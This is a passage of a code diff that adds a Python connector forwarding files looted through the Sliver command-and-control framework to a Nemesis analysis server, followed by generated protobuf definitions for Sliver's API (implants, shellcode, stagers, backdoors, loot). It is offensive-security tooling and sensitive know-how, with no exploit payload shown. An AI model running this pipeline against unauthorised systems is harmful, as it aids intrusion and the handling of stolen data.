on_loot_added(client: SliverClient) -> AsyncGenerator[str, clientpb.Loot]: + async for event in client.events(): + if event.EventType == "loot-added": + loot_id = event.Data.decode() + yield loot_id, await get_loot_from_id(client, loot_id) + + +async def on_loot_file( + session: aiohttp.ClientSession, config: Config, loot: clientpb.Loot +) -> None: + timestamp = datetime.now() + nemesis_file_id = await nemesis_post_file(session, config, loot.File.Data) + logger.info(f"File posted to nemesis. nemesis_file_id: {nemesis_file_id}") + metadata = Metadata( + agent_id="", + agent_type="sliver", + automated=True, + data_type="file_data", + expiration=(timestamp + timedelta(days=config.expiration_days)).strftime( + "%Y-%m-%dT%H:%M:%S.000Z" + ), + source="", + project="", + timestamp=timestamp.strftime("%Y-%m-%dT%H:%M:%S.000Z"), + ) + file_data = [FileData(path=loot.File.Name, size=0, object_id=nemesis_file_id)] + await nemesis_post_data(session, config, metadata, file_data) + + +async def main() -> None: + config = generate_config() + + client = SliverClient(config) + logger.info("Connected to server ...") + await client.connect() + + logger.info("Listening for events") + async with aiohttp.ClientSession() as session: + config = Config() + async for loot_id, loot in on_loot_added(client): + if loot is None: + logger.error(f"Loot {loot_id} not found") + continue + logger.info("NEW FILE ADDED!") + await on_loot_file(session, config, loot) + + +if __name__ == "__main__": + logging.basicConfig(format="%(levelname)s:%(message)s", level=logging.INFO) + asyncio.run(main()) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py new file mode 100644 index 0000000..3de58b0 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py @@ -0,0 +1,297 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: clientpb/client.proto +"""Generated protocol buffer code.""" +from google.protobuf.internal import builder as _builder +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + +from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2 + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15\x63lientpb/client.proto\x12\x08\x63lientpb\x1a\x15\x63ommonpb/common.proto\"\x83\x01\n\x07Version\x12\r\n\x05Major\x18\x01 \x01(\x05\x12\r\n\x05Minor\x18\x02 \x01(\x05\x12\r\n\x05Patch\x18\x03 \x01(\x05\x12\x0e\n\x06\x43ommit\x18\x04 \x01(\t\x12\r\n\x05\x44irty\x18\x05 \x01(\x08\x12\x12\n\nCompiledAt\x18\x06 \x01(\x03\x12\n\n\x02OS\x18\x07 \x01(\t\x12\x0c\n\x04\x41rch\x18\x08 \x01(\t\"0\n\x14\x43lientConsoleLogData\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\"\xb2\x03\n\x07Session\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x03 \x01(\t\x12\x0c\n\x04UUID\x18\x04 \x01(\t\x12\x10\n\x08Username\x18\x05 \x01(\t\x12\x0b\n\x03UID\x18\x06 \x01(\t\x12\x0b\n\x03GID\x18\x07 \x01(\t\x12\n\n\x02OS\x18\x08 \x01(\t\x12\x0c\n\x04\x41rch\x18\t \x01(\t\x12\x11\n\tTransport\x18\n \x01(\t\x12\x15\n\rRemoteAddress\x18\x0b \x01(\t\x12\x0b\n\x03PID\x18\x0c \x01(\x05\x12\x10\n\x08\x46ilename\x18\r \x01(\t\x12\x13\n\x0bLastCheckin\x18\x0e \x01(\x03\x12\x10\n\x08\x41\x63tiveC2\x18\x0f \x01(\t\x12\x0f\n\x07Version\x18\x10 \x01(\t\x12\x0f\n\x07\x45vasion\x18\x11 \x01(\x08\x12\x0e\n\x06IsDead\x18\x12 \x01(\x08\x12\x19\n\x11ReconnectInterval\x18\x13 \x01(\x03\x12\x10\n\x08ProxyURL\x18\x14 \x01(\t\x12\x0e\n\x06\x42urned\x18\x16 \x01(\x08\x12\x12\n\nExtensions\x18\x17 \x03(\t\x12\x0e\n\x06PeerID\x18\x19 \x01(\x03\x12\x0e\n\x06Locale\x18\x1a \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x1b \x01(\x03\"\xf5\x03\n\x06\x42\x65\x61\x63on\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x03 \x01(\t\x12\x0c\n\x04UUID\x18\x04 \x01(\t\x12\x10\n\x08Username\x18\x05 \x01(\t\x12\x0b\n\x03UID\x18\x06 \x01(\t\x12\x0b\n\x03GID\x18\x07 \x01(\t\x12\n\n\x02OS\x18\x08 \x01(\t\x12\x0c\n\x04\x41rch\x18\t \x01(\t\x12\x11\n\tTransport\x18\n \x01(\t\x12\x15\n\rRemoteAddress\x18\x0b \x01(\t\x12\x0b\n\x03PID\x18\x0c \x01(\x05\x12\x10\n\x08\x46ilename\x18\r \x01(\t\x12\x13\n\x0bLastCheckin\x18\x0e \x01(\x03\x12\x10\n\x08\x41\x63tiveC2\x18\x0f \x01(\t\x12\x0f\n\x07Version\x18\x10 \x01(\t\x12\x0f\n\x07\x45vasion\x18\x11 \x01(\x08\x12\x0e\n\x06IsDead\x18\x12 \x01(\x08\x12\x10\n\x08ProxyURL\x18\x14 \x01(\t\x12\x19\n\x11ReconnectInterval\x18\x15 \x01(\x03\x12\x10\n\x08Interval\x18\x16 \x01(\x03\x12\x0e\n\x06Jitter\x18\x17 \x01(\x03\x12\x0e\n\x06\x42urned\x18\x18 \x01(\x08\x12\x13\n\x0bNextCheckin\x18\x19 \x01(\x03\x12\x12\n\nTasksCount\x18\x1a \x01(\x03\x12\x1b\n\x13TasksCountCompleted\x18\x1b \x01(\x03\x12\x0e\n\x06Locale\x18\x1c \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x1d \x01(\x03\",\n\x07\x42\x65\x61\x63ons\x12!\n\x07\x42\x65\x61\x63ons\x18\x02 \x03(\x0b\x32\x10.clientpb.Beacon\"\xa9\x01\n\nBeaconTask\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x02 \x01(\t\x12\x11\n\tCreatedAt\x18\x03 \x01(\x03\x12\r\n\x05State\x18\x04 \x01(\t\x12\x0e\n\x06SentAt\x18\x05 \x01(\x03\x12\x13\n\x0b\x43ompletedAt\x18\x06 \x01(\x03\x12\x0f\n\x07Request\x18\x07 \x01(\x0c\x12\x10\n\x08Response\x18\x08 \x01(\x0c\x12\x13\n\x0b\x44\x65scription\x18\t \x01(\t\"D\n\x0b\x42\x65\x61\x63onTasks\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x01 \x01(\t\x12#\n\x05Tasks\x18\x02 \x03(\x0b\x32\x14.clientpb.BeaconTask\";\n\tImplantC2\x12\x10\n\x08Priority\x18\x01 \x01(\r\x12\x0b\n\x03URL\x18\x02 \x01(\t\x12\x0f\n\x07Options\x18\x03 \x01(\t\"\xcd\x08\n\rImplantConfig\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08IsBeacon\x18\x02 \x01(\x08\x12\x16\n\x0e\x42\x65\x61\x63onInterval\x18\x03 \x01(\x03\x12\x14\n\x0c\x42\x65\x61\x63onJitter\x18\x04 \x01(\x03\x12\x0c\n\x04GOOS\x18\x05 \x01(\t\x12\x0e\n\x06GOARCH\x18\x06 \x01(\t\x12\x0c\n\x04Name\x18\x07 \x01(\t\x12\r\n\x05\x44\x65\x62ug\x18\x08 \x01(\x08\x12\x0f\n\x07\x45vasion\x18\t \x01(\x08\x12\x18\n\x10ObfuscateSymbols\x18\n \x01(\x08\x12\x14\n\x0cTemplateName\x18\x0b \x01(\t\x12\x12\n\nMtlsCACert\x18\x14 \x01(\t\x12\x10\n\x08MtlsCert\x18\x15 \x01(\t\x12\x0f\n\x07MtlsKey\x18\x16 \x01(\t\x12\x1a\n\x12\x45\x43\x43ServerPublicKey\x18\x17 \x01(\t\x12\x14\n\x0c\x45\x43\x43PublicKey\x18\x18 \x01(\t\x12\x15\n\rECCPrivateKey\x18\x19 \x01(\t\x12\x1d\n\x15\x45\x43\x43PublicKeySignature\x18\x1a \x01(\t\x12\x1f\n\x17MinisignServerPublicKey\x18\x1b \x01(\t\x12\x18\n\x10WGImplantPrivKey\x18\x1e \x01(\t\x12\x16\n\x0eWGServerPubKey\x18\x1f \x01(\t\x12\x13\n\x0bWGPeerTunIP\x18 \x01(\t\x12\x19\n\x11WGKeyExchangePort\x18! \x01(\r\x12\x16\n\x0eWGTcpCommsPort\x18\" \x01(\r\x12\x19\n\x11ReconnectInterval\x18( \x01(\x03\x12\x1b\n\x13MaxConnectionErrors\x18) \x01(\r\x12\x13\n\x0bPollTimeout\x18* \x01(\x03\x12\x1f\n\x02\x43\x32\x18\x32 \x03(\x0b\x32\x13.clientpb.ImplantC2\x12\x15\n\rCanaryDomains\x18\x33 \x03(\t\x12\x1a\n\x12\x43onnectionStrategy\x18\x34 \x01(\t\x12\x19\n\x11LimitDomainJoined\x18< \x01(\x08\x12\x15\n\rLimitDatetime\x18= \x01(\t\x12\x15\n\rLimitHostname\x18> \x01(\t\x12\x15\n\rLimitUsername\x18? \x01(\t\x12\x17\n\x0fLimitFileExists\x18@ \x01(\t\x12\x13\n\x0bLimitLocale\x18\x41 \x01(\t\x12&\n\x06\x46ormat\x18\x64 \x01(\x0e\x32\x16.clientpb.OutputFormat\x12\x13\n\x0bIsSharedLib\x18\x65 \x01(\x08\x12\x10\n\x08\x46ileName\x18\x66 \x01(\t\x12\x11\n\tIsService\x18g \x01(\x08\x12\x13\n\x0bIsShellcode\x18h \x01(\x08\x12\x11\n\tRunAtLoad\x18i \x01(\x08\x12\x11\n\tDebugFile\x18j \x01(\t\x12\x14\n\x0cNetGoEnabled\x18k \x01(\x08\x12\x1e\n\x16TrafficEncodersEnabled\x18l \x01(\x08\x12\x17\n\x0fTrafficEncoders\x18m \x03(\t\x12\x1f\n\x06\x41ssets\x18\xc8\x01 \x03(\x0b\x32\x0e.commonpb.File\"]\n\x0eTrafficEncoder\x12\n\n\x02ID\x18\x01 \x01(\x04\x12\x1c\n\x04Wasm\x18\x02 \x01(\x0b\x32\x0e.commonpb.File\x12\x11\n\tSkipTests\x18\x08 \x01(\x08\x12\x0e\n\x06TestID\x18\t \x01(\t\"\x9b\x01\n\x11TrafficEncoderMap\x12;\n\x08\x45ncoders\x18\x01 \x03(\x0b\x32).clientpb.TrafficEncoderMap.EncodersEntry\x1aI\n\rEncodersEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\'\n\x05value\x18\x02 \x01(\x0b\x32\x18.clientpb.TrafficEncoder:\x02\x38\x01\"u\n\x12TrafficEncoderTest\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x11\n\tCompleted\x18\x02 \x01(\x08\x12\x0f\n\x07Success\x18\x03 \x01(\x08\x12\x10\n\x08\x44uration\x18\x04 \x01(\x03\x12\x0b\n\x03\x45rr\x18\t \x01(\t\x12\x0e\n\x06Sample\x18\n \x01(\x0c\"\x98\x01\n\x13TrafficEncoderTests\x12)\n\x07\x45ncoder\x18\x01 \x01(\x0b\x32\x18.clientpb.TrafficEncoder\x12+\n\x05Tests\x18\x02 \x03(\x0b\x32\x1c.clientpb.TrafficEncoderTest\x12\x15\n\rTotalDuration\x18\x03 \x01(\x03\x12\x12\n\nTotalTests\x18\x04 \x01(\x05\"S\n\x15\x45xternalImplantConfig\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\x11\n\tOTPSecret\x18\x02 \x01(\t\"\\\n\x15\x45xternalImplantBinary\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x17\n\x0fImplantConfigID\x18\x02 \x01(\t\x12\x1c\n\x04\x46ile\x18\x03 \x01(\x0b\x32\x0e.commonpb.File\"\x8f\x01\n\rImplantBuilds\x12\x35\n\x07\x43onfigs\x18\x01 \x03(\x0b\x32$.clientpb.ImplantBuilds.ConfigsEntry\x1aG\n\x0c\x43onfigsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12&\n\x05value\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig:\x02\x38\x01\"V\n\x0e\x43ompilerTarget\x12\x0c\n\x04GOOS\x18\x01 \x01(\t\x12\x0e\n\x06GOARCH\x18\x02 \x01(\t\x12&\n\x06\x46ormat\x18\x03 \x01(\x0e\x32\x16.clientpb.OutputFormat\"Z\n\rCrossCompiler\x12\x12\n\nTargetGOOS\x18\x01 \x01(\t\x12\x14\n\x0cTargetGOARCH\x18\x02 \x01(\t\x12\x0e\n\x06\x43\x43Path\x18\x03 \x01(\t\x12\x0f\n\x07\x43XXPath\x18\x04 \x01(\t\"\xba\x01\n\x08\x43ompiler\x12\x0c\n\x04GOOS\x18\x01 \x01(\t\x12\x0e\n\x06GOARCH\x18\x02 \x01(\t\x12)\n\x07Targets\x18\x03 \x03(\x0b\x32\x18.clientpb.CompilerTarget\x12/\n\x0e\x43rossCompilers\x18\x04 \x03(\x0b\x32\x17.clientpb.CrossCompiler\x12\x34\n\x12UnsupportedTargets\x18\x05 \x03(\x0b\x32\x18.clientpb.CompilerTarget\"\x19\n\tDeleteReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\"\x81\x01\n\tDNSCanary\x12\x13\n\x0bImplantName\x18\x01 \x01(\t\x12\x0e\n\x06\x44omain\x18\x02 \x01(\t\x12\x11\n\tTriggered\x18\x03 \x01(\x08\x12\x16\n\x0e\x46irstTriggered\x18\x04 \x01(\t\x12\x15\n\rLatestTrigger\x18\x05 \x01(\t\x12\r\n\x05\x43ount\x18\x06 \x01(\r\"1\n\x08\x43\x61naries\x12%\n\x08\x43\x61naries\x18\x01 \x03(\x0b\x32\x13.clientpb.DNSCanary\"\x18\n\nUniqueWGIP\x12\n\n\x02IP\x18\x01 \x01(\t\"G\n\x0eImplantProfile\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\"=\n\x0fImplantProfiles\x12*\n\x08Profiles\x18\x01 \x03(\x0b\x32\x18.clientpb.ImplantProfile\"$\n\rRegenerateReq\x12\x13\n\x0bImplantName\x18\x01 \x01(\t\"z\n\x03Job\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x13\n\x0b\x44\x65scription\x18\x03 \x01(\t\x12\x10\n\x08Protocol\x18\x04 \x01(\t\x12\x0c\n\x04Port\x18\x05 \x01(\r\x12\x0f\n\x07\x44omains\x18\x06 \x03(\t\x12\x13\n\x0bProfileName\x18\x07 \x01(\t\"%\n\x04Jobs\x12\x1d\n\x06\x41\x63tive\x18\x01 \x03(\x0b\x32\r.clientpb.Job\"\x18\n\nKillJobReq\x12\n\n\x02ID\x18\x01 \x01(\r\"&\n\x07KillJob\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0f\n\x07Success\x18\x02 \x01(\x08\"A\n\x0fMTLSListenerReq\x12\x0c\n\x04Host\x18\x01 \x01(\t\x12\x0c\n\x04Port\x18\x02 \x01(\r\x12\x12\n\nPersistent\x18\x03 \x01(\x08\"\x1d\n\x0cMTLSListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"n\n\rWGListenerReq\x12\x0c\n\x04Host\x18\x06 \x01(\t\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\r\n\x05TunIP\x18\x02 \x01(\t\x12\r\n\x05NPort\x18\x03 \x01(\r\x12\x0f\n\x07KeyPort\x18\x04 \x01(\r\x12\x12\n\nPersistent\x18\x05 \x01(\x08\"\x1b\n\nWGListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"w\n\x0e\x44NSListenerReq\x12\x0f\n\x07\x44omains\x18\x01 \x03(\t\x12\x10\n\x08\x43\x61naries\x18\x02 \x01(\x08\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x0c\n\x04Port\x18\x04 \x01(\r\x12\x12\n\nPersistent\x18\x05 \x01(\x08\x12\x12\n\nEnforceOTP\x18\x06 \x01(\x08\"\x1c\n\x0b\x44NSListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"\xf7\x01\n\x0fHTTPListenerReq\x12\x0e\n\x06\x44omain\x18\x01 \x01(\t\x12\x0c\n\x04Host\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0e\n\x06Secure\x18\x04 \x01(\x08\x12\x0f\n\x07Website\x18\x05 \x01(\t\x12\x0c\n\x04\x43\x65rt\x18\x06 \x01(\x0c\x12\x0b\n\x03Key\x18\x07 \x01(\x0c\x12\x0c\n\x04\x41\x43ME\x18\x08 \x01(\x08\x12\x12\n\nPersistent\x18\t \x01(\x08\x12\x12\n\nEnforceOTP\x18\n \x01(\x08\x12\x17\n\x0fLongPollTimeout\x18\x0b \x01(\x03\x12\x16\n\x0eLongPollJitter\x18\x0c \x01(\x03\x12\x15\n\rRandomizeJARM\x18\r \x01(\x08\"E\n\rNamedPipesReq\x12\x10\n\x08PipeName\x18\x10 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"P\n\nNamedPipes\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12\x0b\n\x03\x45rr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"B\n\x0bTCPPivotReq\x12\x0f\n\x07\x41\x64\x64ress\x18\x10 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"N\n\x08TCPPivot\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12\x0b\n\x03\x45rr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x1d\n\x0cHTTPListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"/\n\x08Sessions\x12#\n\x08Sessions\x18\x01 \x03(\x0b\x32\x11.clientpb.Session\">\n\tRenameReq\x12\x11\n\tSessionID\x18\x01 \x01(\t\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x02 \x01(\t\x12\x0c\n\x04Name\x18\x03 \x01(\t\"6\n\x0bGenerateReq\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\"(\n\x08Generate\x12\x1c\n\x04\x46ile\x18\x01 \x01(\x0b\x32\x0e.commonpb.File\"\x80\x01\n\x06MSFReq\x12\x0f\n\x07Payload\x18\x01 \x01(\t\x12\r\n\x05LHost\x18\x02 \x01(\t\x12\r\n\x05LPort\x18\x03 \x01(\r\x12\x0f\n\x07\x45ncoder\x18\x04 \x01(\t\x12\x12\n\nIterations\x18\x05 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x93\x01\n\x0cMSFRemoteReq\x12\x0f\n\x07Payload\x18\x01 \x01(\t\x12\r\n\x05LHost\x18\x02 \x01(\t\x12\r\n\x05LPort\x18\x03 \x01(\r\x12\x0f\n\x07\x45ncoder\x18\x04 \x01(\t\x12\x12\n\nIterations\x18\x05 \x01(\x05\x12\x0b\n\x03PID\x18\x08 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa6\x01\n\x11StagerListenerReq\x12)\n\x08Protocol\x18\x01 \x01(\x0e\x32\x17.clientpb.StageProtocol\x12\x0c\n\x04Host\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\x0c\n\x04\x43\x65rt\x18\x05 \x01(\x0c\x12\x0b\n\x03Key\x18\x06 \x01(\x0c\x12\x0c\n\x04\x41\x43ME\x18\x07 \x01(\x08\x12\x13\n\x0bProfileName\x18\x08 \x01(\t\"\x1f\n\x0eStagerListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"H\n\x0fShellcodeRDIReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x14\n\x0c\x46unctionName\x18\x02 \x01(\t\x12\x11\n\tArguments\x18\x03 \x01(\t\"\x1c\n\x0cShellcodeRDI\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\"\x91\x01\n\x0cMsfStagerReq\x12\x0c\n\x04\x41rch\x18\x01 \x01(\t\x12\x0e\n\x06\x46ormat\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0c\n\x04Host\x18\x04 \x01(\t\x12\n\n\x02OS\x18\x05 \x01(\t\x12)\n\x08Protocol\x18\x06 \x01(\x0e\x32\x17.clientpb.StageProtocol\x12\x10\n\x08\x42\x61\x64\x43hars\x18\x07 \x03(\t\")\n\tMsfStager\x12\x1c\n\x04\x46ile\x18\x01 \x01(\x0b\x32\x0e.commonpb.File\"s\n\x0cGetSystemReq\x12\x16\n\x0eHostingProcess\x18\x01 \x01(\t\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x93\x01\n\nMigrateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\r\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12+\n\x07\x45ncoder\x18\x03 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"5\n\x0f\x43reateTunnelReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"7\n\x0c\x43reateTunnel\x12\x11\n\tSessionID\x18\x01 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\"J\n\x0e\x43loseTunnelReq\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x80\x01\n\x0fPivotGraphEntry\x12\x0e\n\x06PeerID\x18\x01 \x01(\x03\x12\"\n\x07Session\x18\x02 \x01(\x0b\x32\x11.clientpb.Session\x12\x0c\n\x04Name\x18\x03 \x01(\t\x12+\n\x08\x43hildren\x18\x04 \x03(\x0b\x32\x19.clientpb.PivotGraphEntry\"9\n\nPivotGraph\x12+\n\x08\x43hildren\x18\x01 \x03(\x0b\x32\x19.clientpb.PivotGraphEntry\"H\n\x06\x43lient\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12$\n\x08Operator\x18\x03 \x01(\x0b\x32\x12.clientpb.Operator\"\x97\x01\n\x05\x45vent\x12\x11\n\tEventType\x18\x01 \x01(\t\x12\"\n\x07Session\x18\x02 \x01(\x0b\x32\x11.clientpb.Session\x12\x1a\n\x03Job\x18\x03 \x01(\x0b\x32\r.clientpb.Job\x12 \n\x06\x43lient\x18\x04 \x01(\x0b\x32\x10.clientpb.Client\x12\x0c\n\x04\x44\x61ta\x18\x05 \x01(\x0c\x12\x0b\n\x03\x45rr\x18\x06 \x01(\t\"2\n\tOperators\x12%\n\tOperators\x18\x01 \x03(\x0b\x32\x12.clientpb.Operator\"(\n\x08Operator\x12\x0e\n\x06Online\x18\x01 \x01(\x08\x12\x0c\n\x04Name\x18\x02 \x01(\t\"R\n\nWebContent\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x13\n\x0b\x43ontentType\x18\x02 \x01(\t\x12\x10\n\x04Size\x18\x03 \x01(\x04\x42\x02\x30\x01\x12\x0f\n\x07\x43ontent\x18\t \x01(\x0c\"\xa5\x01\n\x11WebsiteAddContent\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12;\n\x08\x43ontents\x18\x02 \x03(\x0b\x32).clientpb.WebsiteAddContent.ContentsEntry\x1a\x45\n\rContentsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12#\n\x05value\x18\x02 \x01(\x0b\x32\x14.clientpb.WebContent:\x02\x38\x01\"3\n\x14WebsiteRemoveContent\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\r\n\x05Paths\x18\x02 \x03(\t\"\x91\x01\n\x07Website\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x31\n\x08\x43ontents\x18\x02 \x03(\x0b\x32\x1f.clientpb.Website.ContentsEntry\x1a\x45\n\rContentsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12#\n\x05value\x18\x02 \x01(\x0b\x32\x14.clientpb.WebContent:\x02\x38\x01\"/\n\x08Websites\x12#\n\x08Websites\x18\x01 \x03(\x0b\x32\x11.clientpb.Website\"h\n\x0eWGClientConfig\x12\x14\n\x0cServerPubKey\x18\x01 \x01(\t\x12\x18\n\x10\x43lientPrivateKey\x18\x02 \x01(\t\x12\x14\n\x0c\x43lientPubKey\x18\x03 \x01(\t\x12\x10\n\x08\x43lientIP\x18\x04 \x01(\t\"\x8a\x01\n\x04Loot\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12$\n\x08\x46ileType\x18\x03 \x01(\x0e\x32\x12.clientpb.FileType\x12\x16\n\x0eOriginHostUUID\x18\x04 \x01(\t\x12\x0c\n\x04Size\x18\x05 \x01(\x03\x12\x1c\n\x04\x46ile\x18\t \x01(\x0b\x32\x0e.commonpb.File\"\'\n\x07\x41llLoot\x12\x1c\n\x04Loot\x18\x01 \x03(\x0b\x32\x0e.clientpb.Loot\"1\n\x03IOC\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x10\n\x08\x46ileHash\x18\x02 \x01(\t\x12\n\n\x02ID\x18\x03 \x01(\t\"\x1f\n\rExtensionData\x12\x0e\n\x06Output\x18\x01 \x01(\t\"\x89\x02\n\x04Host\x12\x10\n\x08Hostname\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x11\n\tOSVersion\x18\x03 \x01(\t\x12\x1b\n\x04IOCs\x18\x04 \x03(\x0b\x32\r.clientpb.IOC\x12\x38\n\rExtensionData\x18\x05 \x03(\x0b\x32!.clientpb.Host.ExtensionDataEntry\x12\x0e\n\x06Locale\x18\x06 \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x07 \x01(\x03\x1aM\n\x12\x45xtensionDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12&\n\x05value\x18\x02 \x01(\x0b\x32\x17.clientpb.ExtensionData:\x02\x38\x01\")\n\x08\x41llHosts\x12\x1d\n\x05Hosts\x18\x01 \x03(\x0b\x32\x0e.clientpb.Host\"\xa2\x01\n\x0c\x44llHijackReq\x12\x18\n\x10ReferenceDLLPath\x18\x01 \x01(\t\x12\x16\n\x0eTargetLocation\x18\x02 \x01(\t\x12\x14\n\x0cReferenceDLL\x18\x03 \x01(\x0c\x12\x11\n\tTargetDLL\x18\x04 \x01(\x0c\x12\x13\n\x0bProfileName\x18\x05 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tDllHijack\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"X\n\x0b\x42\x61\x63kdoorReq\x12\x10\n\x08\x46ilePath\x18\x01 \x01(\t\x12\x13\n\x0bProfileName\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"0\n\x08\x42\x61\x63kdoor\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaf\x01\n\x12ShellcodeEncodeReq\x12+\n\x07\x45ncoder\x18\x01 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder\x12\x14\n\x0c\x41rchitecture\x18\x02 \x01(\t\x12\x12\n\nIterations\x18\x03 \x01(\r\x12\x10\n\x08\x42\x61\x64\x43hars\x18\x04 \x01(\x0c\x12\x0c\n\x04\x44\x61ta\x18\x08 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"E\n\x0fShellcodeEncode\x12\x0c\n\x04\x44\x61ta\x18\x08 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xa1\x01\n\x13ShellcodeEncoderMap\x12=\n\x08\x45ncoders\x18\x01 \x03(\x0b\x32+.clientpb.ShellcodeEncoderMap.EncodersEntry\x1aK\n\rEncodersEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12)\n\x05value\x18\x02 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder:\x02\x38\x01\"S\n\x13\x45xternalGenerateReq\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\x13\n\x0b\x42uilderName\x18\x02 \x01(\t\"/\n\x08\x42uilders\x12#\n\x08\x42uilders\x18\x01 \x03(\x0b\x32\x11.clientpb.Builder\"\xba\x01\n\x07\x42uilder\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x14\n\x0cOperatorName\x18\x02 \x01(\t\x12\x0c\n\x04GOOS\x18\x03 \x01(\t\x12\x0e\n\x06GOARCH\x18\x04 \x01(\t\x12\x11\n\tTemplates\x18\x05 \x03(\t\x12)\n\x07Targets\x18\x06 \x03(\x0b\x32\x18.clientpb.CompilerTarget\x12/\n\x0e\x43rossCompilers\x18\x07 \x03(\x0b\x32\x17.clientpb.CrossCompiler\"\xb0\x01\n\nCredential\x12\n\n\x02ID\x18\x01 